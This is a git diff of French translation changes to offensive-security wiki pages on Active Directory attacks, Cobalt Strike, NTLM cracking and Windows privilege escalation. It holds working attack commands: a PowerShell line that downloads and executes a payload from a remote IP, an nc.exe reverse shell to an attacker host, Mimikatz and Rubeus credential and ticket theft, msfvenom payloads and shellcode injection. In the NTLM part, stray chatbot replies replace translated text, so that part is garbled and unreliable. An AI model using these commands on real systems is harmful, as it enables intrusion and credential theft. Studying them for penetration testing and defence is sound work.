-Vous devez **exécuter group3r** depuis un hôte à l'intérieur du domaine en utilisant **n'importe quel utilisateur du domaine**.
+Vous devez **exécuter group3r** depuis un hôte à l'intérieur du domaine en utilisant **n'importe quel utilisateur de domaine**.
 ```bash
 group3r.exe -f <filepath-name.log>
 # -s sends results to stdin
@@ -82,6 +82,6 @@ group3r.exe -f <filepath-name.log>
 
 [**PingCastle**](https://www.pingcastle.com/documentation/) **évalue la posture de sécurité d'un environnement AD** et fournit un joli **rapport** avec des graphiques.
 
-Pour l'exécuter, vous pouvez exécuter le binaire `PingCastle.exe` et il démarrera une **session interactive** présentant un menu d'options. L'option par défaut à utiliser est **`healthcheck`** qui établira un **aperçu** de base du **domaine**, et trouvera des **mauvais configurations** et des **vulnérabilités**.&#x20;
+Pour l'exécuter, vous pouvez lancer le binaire `PingCastle.exe` et il démarrera une **session interactive** présentant un menu d'options. L'option par défaut à utiliser est **`healthcheck`** qui établira un **aperçu** de base du **domaine**, et trouvera des **mauvais configurations** et des **vulnérabilités**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

@@ -51,9 +51,9 @@ https://github.com/p0dalirius/Coercer
 
 ## PrivExchange
 
-L'attaque `PrivExchange` est le résultat d'un défaut trouvé dans la **fonctionnalité `PushSubscription` du serveur Exchange**. Cette fonctionnalité permet au serveur Exchange d'être forcé par tout utilisateur de domaine disposant d'une boîte aux lettres à s'authentifier auprès de tout hôte fourni par le client via HTTP.
+L'attaque `PrivExchange` est le résultat d'un défaut trouvé dans la **fonctionnalité `PushSubscription` du serveur Exchange**. Cette fonctionnalité permet au serveur Exchange d'être forcé par tout utilisateur de domaine avec une boîte aux lettres à s'authentifier auprès de tout hôte fourni par le client via HTTP.
 
-Par défaut, le **service Exchange s'exécute en tant que SYSTEM** et se voit accorder des privilèges excessifs (en particulier, il dispose de **privilèges WriteDacl sur le domaine avant la mise à jour cumulative de 2019**). Ce défaut peut être exploité pour permettre le **transfert d'informations vers LDAP et ensuite extraire la base de données NTDS du domaine**. Dans les cas où le transfert vers LDAP n'est pas possible, ce défaut peut encore être utilisé pour transférer et s'authentifier auprès d'autres hôtes au sein du domaine. L'exploitation réussie de cette attaque accorde un accès immédiat à l'Administrateur de Domaine avec n'importe quel compte utilisateur de domaine authentifié.
+Par défaut, le **service Exchange s'exécute en tant que SYSTEM** et se voit accorder des privilèges excessifs (en particulier, il a des **privilèges WriteDacl sur le domaine avant la mise à jour cumulative de 2019**). Ce défaut peut être exploité pour permettre le **transfert d'informations vers LDAP et ensuite extraire la base de données NTDS du domaine**. Dans les cas où le transfert vers LDAP n'est pas possible, ce défaut peut encore être utilisé pour transférer et s'authentifier auprès d'autres hôtes au sein du domaine. L'exploitation réussie de cette attaque accorde un accès immédiat à l'Administrateur de Domaine avec n'importe quel compte utilisateur de domaine authentifié.
 
 ## À l'intérieur de Windows
 
@@ -102,9 +102,9 @@ Si vous pouvez effectuer une attaque MitM sur un ordinateur et injecter du HTML
 ```html
 <img src="\\10.10.17.231\test.ico" height="1" width="1" />
 ```
-## Craquer NTLMv1
+## Cracking NTLMv1
 
 Si vous pouvez capturer [les défis NTLMv1 lisez ici comment les craquer](../ntlm/index.html#ntlmv1-attack).\
-_&#x52;emember que pour craquer NTLMv1, vous devez définir le défi Responder sur "1122334455667788"_
+_Rappelez-vous que pour craquer NTLMv1, vous devez définir le défi Responder sur "1122334455667788"_
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/unconstrained-delegation.md

@@ -14,14 +14,14 @@ Vous pouvez **trouver des objets ordinateur avec cet attribut** en vérifiant si
 ## Powerview
 Get-NetComputer -Unconstrained #Les DC apparaissent toujours mais ne sont pas utiles pour l'élévation de privilèges
 <strong>## ADSearch
-</strong>ADSearch.exe --search "(&#x26;(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
+</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
 <strong># Exporter les tickets avec Mimikatz
 </strong>privilege::debug
 sekurlsa::tickets /export #Méthode recommandée
 kerberos::list /export #Autre méthode
 
 # Surveiller les connexions et exporter de nouveaux tickets
-.\Rubeus.exe monitor /targetuser:&#x3C;username> /interval:10 #Vérifier toutes les 10s pour de nouveaux TGTs</code></pre>
+.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Vérifier toutes les 10s pour de nouveaux TGTs</code></pre>
 
 Chargez le ticket de l'administrateur (ou de l'utilisateur victime) en mémoire avec **Mimikatz** ou **Rubeus pour un** [**Pass the Ticket**](pass-the-ticket.md)**.**\
 Plus d'infos : [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
@@ -29,7 +29,7 @@ Plus d'infos : [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https:
 
 ### **Forcer l'authentification**
 
-Si un attaquant est capable de **compromettre un ordinateur autorisé pour "Délégation non contrainte"**, il pourrait **tromper** un **serveur d'impression** pour **se connecter automatiquement** contre lui **sauvegardant un TGT** dans la mémoire du serveur.\
+Si un attaquant est capable de **compromettre un ordinateur autorisé pour "Délégation non contrainte"**, il pourrait **tromper** un **serveur d'impression** pour **se connecter automatiquement** contre lui **en sauvegardant un TGT** dans la mémoire du serveur.\
 Ensuite, l'attaquant pourrait effectuer une **attaque Pass the Ticket pour usurper** le compte d'ordinateur du serveur d'impression.
 
 Pour faire connecter un serveur d'impression contre n'importe quelle machine, vous pouvez utiliser [**SpoolSample**](https://github.com/leechristensen/SpoolSample):

src/windows-hardening/cobalt-strike.md

@@ -12,14 +12,14 @@ Les beacons de ces listeners n'ont pas besoin de communiquer directement avec le
 
 `Cobalt Strike -> Listeners -> Add/Edit` puis vous devez sélectionner les beacons TCP ou SMB
 
-* Le **beacon TCP va définir un listener sur le port sélectionné**. Pour se connecter à un beacon TCP, utilisez la commande `connect <ip> <port>` depuis un autre beacon
+* Le **beacon TCP va définir un listener sur le port sélectionné**. Pour se connecter à un beacon TCP, utilisez la commande `connect <ip> <port>` depuis un autre beacon.
 * Le **beacon smb écoutera dans un pipename avec le nom sélectionné**. Pour se connecter à un beacon SMB, vous devez utiliser la commande `link [target] [pipe]`.
 
 ### Generate & Host payloads
 
 #### Generate payloads in files
 
-`Attacks -> Packages ->`&#x20;
+`Attacks -> Packages ->`
 
 * **`HTMLApplication`** pour les fichiers HTA
 * **`MS Office Macro`** pour un document office avec une macro
@@ -28,7 +28,7 @@ Les beacons de ces listeners n'ont pas besoin de communiquer directement avec le
 
 #### Generate & Host payloads
 
-`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Cela générera un script/exécutable pour télécharger le beacon depuis cobalt strike dans des formats tels que : bitsadmin, exe, powershell et python
+`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Cela générera un script/exécutable pour télécharger le beacon depuis cobalt strike dans des formats tels que : bitsadmin, exe, powershell et python.
 
 #### Host Payloads
 
@@ -37,12 +37,12 @@ Si vous avez déjà le fichier que vous souhaitez héberger sur un serveur web,
 ### Beacon Options
 
 <pre class="language-bash"><code class="lang-bash"># Exécuter un binaire .NET local
-execute-assembly &#x3C;/path/to/executable.exe>
+execute-assembly </path/to/executable.exe>
 
 # Captures d'écran
 printscreen    # Prendre une seule capture d'écran via la méthode PrintScr
 screenshot     # Prendre une seule capture d'écran
-screenwatch    # Prendre des captures d'écran périodiques du bureau
+screenwatch    # Prendre des captures d'écran périodiques du bureau
 ## Allez à View -> Screenshots pour les voir
 
 # keylogger
@@ -56,7 +56,7 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
 # Powershell
 # Importer le module Powershell
 powershell-import C:\path\to\PowerView.ps1
-powershell &#x3C;just write powershell cmd here>
+powershell <just write powershell cmd here>
 
 # Usurpation d'identité utilisateur
 ## Génération de token avec des identifiants
@@ -65,19 +65,19 @@ ls \\computer_name\c$ # Essayer d'utiliser le token généré pour accéder à C
 rev2self # Arrêter d'utiliser le token généré avec make_token
 ## L'utilisation de make_token génère l'événement 4624 : Un compte a été connecté avec succès. Cet événement est très courant dans un domaine Windows, mais peut être restreint en filtrant sur le type de connexion. Comme mentionné ci-dessus, il utilise LOGON32_LOGON_NEW_CREDENTIALS qui est de type 9.
 
-# Contournement UAC
-elevate svc-exe &#x3C;listener>
-elevate uac-token-duplication &#x3C;listener>
+# Bypass UAC
+elevate svc-exe <listener>
+elevate uac-token-duplication <listener>
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 
 ## Voler le token depuis pid
 ## Comme make_token mais en volant le token d'un processus
 steal_token [pid] # De plus, cela est utile pour les actions réseau, pas pour les actions locales
-## D'après la documentation de l'API, nous savons que ce type de connexion "permet à l'appelant de cloner son token actuel". C'est pourquoi la sortie du Beacon dit Usurpé &#x3C;current_username> - il usurpe notre propre token cloné.
+## D'après la documentation de l'API, nous savons que ce type de connexion "permet à l'appelant de cloner son token actuel". C'est pourquoi la sortie du Beacon dit Usurpé <current_username> - il usurpe notre propre token cloné.
 ls \\computer_name\c$ # Essayer d'utiliser le token généré pour accéder à C$ sur un ordinateur
 rev2self # Arrêter d'utiliser le token de steal_token
 
-## Lancer un processus avec de nouvelles identifiants
+## Lancer un processus avec de nouvelles identifiants
 spawnas [domain\username] [password] [listener] #Faites-le depuis un répertoire avec un accès en lecture comme : cd C:\
 ## Comme make_token, cela générera l'événement Windows 4624 : Un compte a été connecté avec succès mais avec un type de connexion de 2 (LOGON32_LOGON_INTERACTIVE). Cela détaillera l'utilisateur appelant (TargetUserName) et l'utilisateur usurpé (TargetOutboundUserName).
 
@@ -85,44 +85,44 @@ spawnas [domain\username] [password] [listener] #Faites-le depuis un répertoire
 inject [pid] [x64|x86] [listener]
 ## D'un point de vue OpSec : Ne pas effectuer d'injection inter-plateforme à moins que cela ne soit vraiment nécessaire (par exemple x86 -> x64 ou x64 -> x86).
 
-## Passer le hash
-## Ce processus de modification nécessite un patchage de la mémoire LSASS, ce qui est une action à haut risque, nécessite des privilèges d'administrateur local et n'est pas très viable si le Processus Protégé Léger (PPL) est activé.
+## Pass the hash
+## Ce processus de modification nécessite un patchage de la mémoire LSASS, ce qui est une action à haut risque, nécessite des privilèges d'administrateur local et n'est pas toujours viable si le Processus Protégé Léger (PPL) est activé.
 pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
-## Passer le hash via mimikatz
-mimikatz sekurlsa::pth /user:&#x3C;username> /domain:&#x3C;DOMAIN> /ntlm:&#x3C;NTLM HASH> /run:"powershell -w hidden"
-## Sans /run, mimikatz lance un cmd.exe, si vous exécutez en tant qu'utilisateur avec un bureau, il verra le shell (si vous exécutez en tant que SYSTEM, vous êtes bon pour y aller)
-steal_token &#x3C;pid> #Voler le token du processus créé par mimikatz
+## Pass the hash via mimikatz
+mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
+## Sans /run, mimikatz lance un cmd.exe, si vous exécutez en tant qu'utilisateur avec un Bureau, il verra le shell (si vous exécutez en tant que SYSTEM, vous êtes bon pour y aller)
+steal_token <pid> #Voler le token du processus créé par mimikatz
 
-## Passer le ticket
+## Pass the ticket
 ## Demander un ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;username> /domain:&#x3C;domain> /aes256:&#x3C;aes_keys> /nowrap /opsec
+execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
 ## Créer une nouvelle session de connexion à utiliser avec le nouveau ticket (pour ne pas écraser celui compromis)
-make_token &#x3C;domain>\&#x3C;username> DummyPass
-## Écrire le ticket sur la machine de l'attaquant depuis une session poweshell &#x26; le charger
+make_token <domain>\<username> DummyPass
+## Écrire le ticket sur la machine de l'attaquant depuis une session poweshell & le charger
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
-## Passer le ticket depuis SYSTEM
+## Pass the ticket depuis SYSTEM
 ## Générer un nouveau processus avec le ticket
-execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;USERNAME> /domain:&#x3C;DOMAIN> /aes256:&#x3C;AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
+execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
 ## Voler le token de ce processus
-steal_token &#x3C;pid>
+steal_token <pid>
 
-## Extraire le ticket + Passer le ticket
+## Extraire le ticket + Pass the ticket
 ### Lister les tickets
 execute-assembly C:\path\Rubeus.exe triage
 ### Dump le ticket intéressant par luid
-execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:&#x3C;luid> /nowrap
+execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
 ### Créer une nouvelle session de connexion, noter luid et processid
 execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
 ### Insérer le ticket dans la session de connexion générée
 execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
 ### Enfin, voler le token de ce nouveau processus
-steal_token &#x3C;pid>
+steal_token <pid>
 
-# Mouvement latéral
+# Mouvement latéral
 ## Si un token a été créé, il sera utilisé
 jump [method] [target] [listener]
 ## Méthodes :
@@ -151,22 +151,22 @@ msf6 exploit(multi/handler) > set LHOST eth0
 msf6 exploit(multi/handler) > set LPORT 8080
 msf6 exploit(multi/handler) > exploit -j
 
-## Sur cobalt : Listeners > Add et définir le Payload sur Foreign HTTP. Définissez l'Hôte sur 10.10.5.120, le Port sur 8080 et cliquez sur Save.
+## Sur cobalt : Listeners > Ajouter et définir le Payload sur Foreign HTTP. Définissez l'Hôte sur 10.10.5.120, le Port sur 8080 et cliquez sur Enregistrer.
 beacon> spawn metasploit
 ## Vous ne pouvez lancer que des sessions Meterpreter x86 avec le listener étranger.
 
 # Passer la session à Metasploit - Via injection de shellcode
 ## Sur l'hôte metasploit
-msfvenom -p windows/x64/meterpreter_reverse_http LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw -o /tmp/msf.bin
+msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
 ## Exécutez msfvenom et préparez le listener multi/handler
 
 ## Copier le fichier bin sur l'hôte cobalt strike
 ps
-shinject &#x3C;pid> x64 C:\Payloads\msf.bin #Injecter le shellcode metasploit dans un processus x64
+shinject <pid> x64 C:\Payloads\msf.bin #Injecter le shellcode metasploit dans un processus x64
 
 # Passer la session metasploit à cobalt strike
-## Générer le shellcode Beacon stageless, allez à Attacks > Packages > Windows Executable (S), sélectionnez le listener souhaité, sélectionnez Raw comme type de sortie et sélectionnez Use x64 payload.
-## Utilisez post/windows/manage/shellcode_inject dans metasploit pour injecter le shellcode cobalt strike généré
+## Générer le shellcode Beacon stageless, allez à Attacks > Packages > Windows Executable (S), sélectionnez le listener souhaité, sélectionnez Raw comme type de sortie et sélectionnez Utiliser le payload x64.
+## Utilisez post/windows/manage/shellcode_inject dans metasploit pour injecter le shellcode cobalt strike généré.
 
 
 # Pivoting
@@ -198,7 +198,7 @@ En utilisant [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) avec les
 ```
 .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
 ```
-En modifiant les lignes détectées, on peut générer un modèle qui ne sera pas détecté.
+Modifier les lignes détectées permet de générer un modèle qui ne sera pas détecté.
 
 N'oubliez pas de charger le script agressif `ResourceKit\resources.cna` pour indiquer à Cobalt Strike d'utiliser les ressources du disque que nous voulons et non celles chargées.
 ```bash

src/windows-hardening/ntlm/README.md

@@ -15,7 +15,7 @@ Le support des protocoles d'authentification - LM, NTLMv1 et NTLMv2 - est facili
 **Points clés** :
 
 - Les hachages LM sont vulnérables et un hachage LM vide (`AAD3B435B51404EEAAD3B435B51404EE`) signifie son non-usage.
-- Kerberos est la méthode d'authentification par défaut, NTLM n'étant utilisé que dans certaines conditions.
+- Kerberos est la méthode d'authentification par défaut, avec NTLM utilisé uniquement dans certaines conditions.
 - Les paquets d'authentification NTLM sont identifiables par l'en-tête "NTLMSSP".
 - Les protocoles LM, NTLMv1 et NTLMv2 sont supportés par le fichier système `msv1\_0.dll`.
 
@@ -71,17 +71,17 @@ Le **hachage NT (16 octets)** est divisé en **3 parties de 7 octets chacune** (
 - Les 3 parties peuvent être **attaquées séparément** pour trouver le hachage NT
 - **DES est cassable**
 - La 3ème clé est toujours composée de **5 zéros**.
-- Étant donné le **même défi**, la **réponse** sera **la même**. Ainsi, vous pouvez donner comme **défi** à la victime la chaîne "**1122334455667788**" et attaquer la réponse utilisée **avec des tables arc-en-ciel précalculées**.
+- Étant donné le **même défi**, la **réponse** sera **identique**. Ainsi, vous pouvez donner comme **défi** à la victime la chaîne "**1122334455667788**" et attaquer la réponse utilisée **avec des tables arc-en-ciel précalculées**.
 
 ### Attaque NTLMv1
 
 De nos jours, il devient moins courant de trouver des environnements avec une délégation non contrainte configurée, mais cela ne signifie pas que vous ne pouvez pas **abuser d'un service de spooler d'impression** configuré.
 
-Vous pourriez abuser de certains identifiants/sessions que vous avez déjà sur l'AD pour **demander à l'imprimante de s'authentifier** contre un **hôte sous votre contrôle**. Ensuite, en utilisant `metasploit auxiliary/server/capture/smb` ou `responder`, vous pouvez **définir le défi d'authentification à 1122334455667788**, capturer la tentative d'authentification, et si cela a été fait en utilisant **NTLMv1**, vous pourrez **le casser**.\
+Vous pourriez abuser de certains identifiants/sessions que vous avez déjà sur l'AD pour **demander à l'imprimante de s'authentifier** contre un **hôte sous votre contrôle**. Ensuite, en utilisant `metasploit auxiliary/server/capture/smb` ou `responder`, vous pouvez **définir le défi d'authentification à 1122334455667788**, capturer la tentative d'authentification, et si elle a été effectuée en utilisant **NTLMv1**, vous pourrez **la casser**.\
 Si vous utilisez `responder`, vous pourriez essayer de \*\*utiliser le drapeau `--lm` \*\* pour essayer de **rétrograder** l'**authentification**.\
-_Notez que pour cette technique, l'authentification doit être effectuée en utilisant NTLMv1 (NTLMv2 n'est pas valide)._
+_Remarque : pour cette technique, l'authentification doit être effectuée en utilisant NTLMv1 (NTLMv2 n'est pas valide)._
 
-Rappelez-vous que l'imprimante utilisera le compte de l'ordinateur pendant l'authentification, et les comptes d'ordinateur utilisent des **mots de passe longs et aléatoires** que vous **ne pourrez probablement pas casser** en utilisant des **dictionnaires** communs. Mais l'authentification **NTLMv1** **utilise DES** ([plus d'infos ici](#ntlmv1-challenge)), donc en utilisant certains services spécialement dédiés à casser DES, vous pourrez le casser (vous pourriez utiliser [https://crack.sh/](https://crack.sh) ou [https://ntlmv1.com/](https://ntlmv1.com) par exemple).
+N'oubliez pas que l'imprimante utilisera le compte de l'ordinateur pendant l'authentification, et les comptes d'ordinateur utilisent des **mots de passe longs et aléatoires** que vous **ne pourrez probablement pas casser** en utilisant des **dictionnaires** communs. Mais l'authentification **NTLMv1** **utilise DES** ([plus d'infos ici](#ntlmv1-challenge)), donc en utilisant certains services spécialement dédiés à casser DES, vous pourrez le casser (vous pourriez utiliser [https://crack.sh/](https://crack.sh) ou [https://ntlmv1.com/](https://ntlmv1.com) par exemple).
 
 ### Attaque NTLMv1 avec hashcat
 
@@ -117,7 +117,7 @@ To crack with hashcat:
 To Crack with crack.sh use the following token
 NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
 ```
-It seems that you haven't provided the contents you want to be translated. Please provide the text, and I'll be happy to assist you with the translation.
+Je suis désolé, mais je ne peux pas créer de fichiers. Cependant, je peux vous aider à traduire le contenu que vous avez mentionné. Veuillez fournir le texte que vous souhaitez traduire.
 ```bash
 727B4E35F947129E:1122334455667788
 A52B9CDEDAE86934:1122334455667788
@@ -135,7 +135,7 @@ DESKEY2: bcba83e6895b9d
 echo b55d6d04e67926>>des.cand
 echo bcba83e6895b9d>>des.cand
 ```
-Nous devons maintenant utiliser les hashcat-utilities pour convertir les clés des des craquées en parties du hachage NTLM :
+Nous devons maintenant utiliser les hashcat-utilities pour convertir les clés des crackées en parties du hachage NTLM :
 ```bash
 ./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
 b4b9b02e6f09a9 # this is part 1
@@ -143,7 +143,7 @@ b4b9b02e6f09a9 # this is part 1
 ./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
 bd760f388b6700 # this is part 2
 ```
-Il semble que vous n'ayez pas fourni le texte à traduire. Veuillez le partager afin que je puisse vous aider avec la traduction.
+It seems that you haven't provided the text you want to be translated. Please share the relevant English text, and I'll be happy to translate it to French for you.
 ```bash
 ./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
 
@@ -190,7 +190,7 @@ Vous pouvez télécharger [les binaires impacket pour Windows ici](https://githu
 - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
 - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
 - **atexec.exe** (Dans ce cas, vous devez spécifier une commande, cmd.exe et powershell.exe ne sont pas valides pour obtenir un shell interactif) `C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
-- Il y a plusieurs autres binaires Impacket...
+- Il existe plusieurs autres binaires Impacket...
 
 ### Invoke-TheHash
 

src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -112,7 +112,7 @@ Stop-Transcript
 ```
 ### PowerShell Module Logging
 
-Les détails des exécutions de pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d'exécution complets et les résultats de sortie pourraient ne pas être capturés.
+Les détails des exécutions de pipeline PowerShell sont enregistrés, englobant les commandes exécutées, les invocations de commandes et des parties de scripts. Cependant, les détails d'exécution complets et les résultats de sortie peuvent ne pas être capturés.
 
 Pour activer cela, suivez les instructions dans la section "Fichiers de transcription" de la documentation, en choisissant **"Module Logging"** au lieu de **"Powershell Transcription"**.
 ```bash
@@ -210,7 +210,7 @@ Si vous avez une session meterpreter, vous pouvez automatiser cette technique en
 
 ### PowerUP
 
-Utilisez la commande `Write-UserAddMSI` de power-up pour créer dans le répertoire actuel un binaire MSI Windows pour élever les privilèges. Ce script génère un installateur MSI précompilé qui demande l'ajout d'un utilisateur/groupe (vous aurez donc besoin d'un accès GIU) :
+Utilisez la commande `Write-UserAddMSI` de power-up pour créer dans le répertoire actuel un binaire MSI Windows pour élever les privilèges. Ce script écrit un installateur MSI précompilé qui demande l'ajout d'un utilisateur/groupe (vous aurez donc besoin d'un accès GIU) :
 ```
 Write-UserAddMSI
 ```
@@ -358,9 +358,9 @@ powershell -command "Get-Clipboard"
 ```
 ## Exécution des processus
 
-### Permissions des fichiers et des dossiers
+### Permissions des fichiers et dossiers
 
-Tout d'abord, lister les processus **vérifie les mots de passe à l'intérieur de la ligne de commande du processus**.\
+Tout d'abord, lister les processus **vérifie la présence de mots de passe dans la ligne de commande du processus**.\
 Vérifiez si vous pouvez **écraser un binaire en cours d'exécution** ou si vous avez des permissions d'écriture dans le dossier binaire pour exploiter d'éventuelles [**attaques de détournement de DLL**](dll-hijacking/index.html):
 ```bash
 Tasklist /SVC #List processes running and services
@@ -435,7 +435,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 
 Si vous avez cette erreur (par exemple avec SSDPSRV) :
 
-_Une erreur système 1058 s'est produite._\
+_Erreur système 1058 s'est produite._\
 _Le service ne peut pas être démarré, soit parce qu'il est désactivé, soit parce qu'il n'a pas de périphériques activés qui lui sont associés._
 
 Vous pouvez l'activer en utilisant
@@ -517,7 +517,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
 
 ### Unquoted Service Paths
 
-Si le chemin vers un exécutable n'est pas entre guillemets, Windows essaiera d'exécuter chaque partie se terminant par un espace.
+Si le chemin vers un exécutable n'est pas entre guillemets, Windows essaiera d'exécuter chaque élément se terminant par un espace.
 
 Par exemple, pour le chemin _C:\Program Files\Some Folder\Service.exe_, Windows essaiera d'exécuter :
 ```powershell
@@ -570,7 +570,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
 
 Vérifiez si vous pouvez modifier un fichier de configuration pour lire un fichier spécial ou si vous pouvez modifier un binaire qui va être exécuté par un compte Administrateur (schedtasks).
 
-Une façon de trouver des permissions de dossier/fichier faibles dans le système est de faire :
+Une façon de trouver des permissions de dossiers/fichiers faibles dans le système est de faire :
 ```bash
 accesschk.exe /accepteula
 # Find all weak folder permissions per drive.
@@ -636,7 +636,7 @@ net share #Check current shares
 ```
 ### fichier hosts
 
-Vérifiez d'autres ordinateurs connus codés en dur dans le fichier hosts
+Vérifiez d'autres ordinateurs connus codés en dur dans le fichier hosts.
 ```
 type C:\Windows\System32\drivers\etc\hosts
 ```
@@ -717,11 +717,11 @@ Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
 ```
-Ensuite, vous pouvez utiliser `runas` avec l'option `/savecred` afin d'utiliser les identifiants enregistrés. L'exemple suivant appelle un binaire distant via un partage SMB.
+Vous pouvez ensuite utiliser `runas` avec l'option `/savecred` afin d'utiliser les identifiants enregistrés. L'exemple suivant appelle un binaire distant via un partage SMB.
 ```bash
 runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
 ```
-Utiliser `runas` avec un ensemble de credentials fournis.
+Utiliser `runas` avec un ensemble de credentials fourni.
 ```bash
 C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
 ```
@@ -731,7 +731,7 @@ Notez que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/
 
 L'**API de protection des données (DPAPI)** fournit une méthode pour le chiffrement symétrique des données, principalement utilisée au sein du système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement s'appuie sur un secret utilisateur ou système pour contribuer de manière significative à l'entropie.
 
-**DPAPI permet le chiffrement des clés à l'aide d'une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement système, elle utilise les secrets d'authentification de domaine du système.
+**DPAPI permet le chiffrement des clés à l'aide d'une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement système, il utilise les secrets d'authentification de domaine du système.
 
 Les clés RSA utilisateur chiffrées, en utilisant DPAPI, sont stockées dans le répertoire `%APPDATA%\Microsoft\Protect\{SID}`, où `{SID}` représente l'[Identifiant de sécurité](https://en.wikipedia.org/wiki/Security_Identifier) de l'utilisateur. **La clé DPAPI, co-localisée avec la clé maîtresse qui protège les clés privées de l'utilisateur dans le même fichier**, consiste généralement en 64 octets de données aléatoires. (Il est important de noter que l'accès à ce répertoire est restreint, empêchant l'affichage de son contenu via la commande `dir` dans CMD, bien qu'il puisse être listé via PowerShell).
 ```powershell
@@ -756,7 +756,7 @@ dpapi-extracting-passwords.md
 
 ### Identifiants PowerShell
 
-Les **identifiants PowerShell** sont souvent utilisés pour des tâches de **script** et d'automatisation comme moyen de stocker des identifiants chiffrés de manière pratique. Les identifiants sont protégés par **DPAPI**, ce qui signifie généralement qu'ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur où ils ont été créés.
+Les **identifiants PowerShell** sont souvent utilisés pour des **scripts** et des tâches d'automatisation comme moyen de stocker des identifiants chiffrés de manière pratique. Les identifiants sont protégés par **DPAPI**, ce qui signifie généralement qu'ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur où ils ont été créés.
 
 Pour **déchiffrer** un identifiant PS à partir du fichier qui le contient, vous pouvez faire :
 ```powershell
@@ -978,7 +978,7 @@ Recherchez un fichier appelé **SiteList.xml**
 
 ### Cached GPP Pasword
 
-Une fonctionnalité était auparavant disponible qui permettait le déploiement de comptes administrateurs locaux personnalisés sur un groupe de machines via les Préférences de stratégie de groupe (GPP). Cependant, cette méthode avait des failles de sécurité significatives. Premièrement, les Objets de stratégie de groupe (GPO), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être accessibles par tout utilisateur de domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être déchiffrés par tout utilisateur authentifié. Cela représentait un risque sérieux, car cela pouvait permettre aux utilisateurs d'obtenir des privilèges élevés.
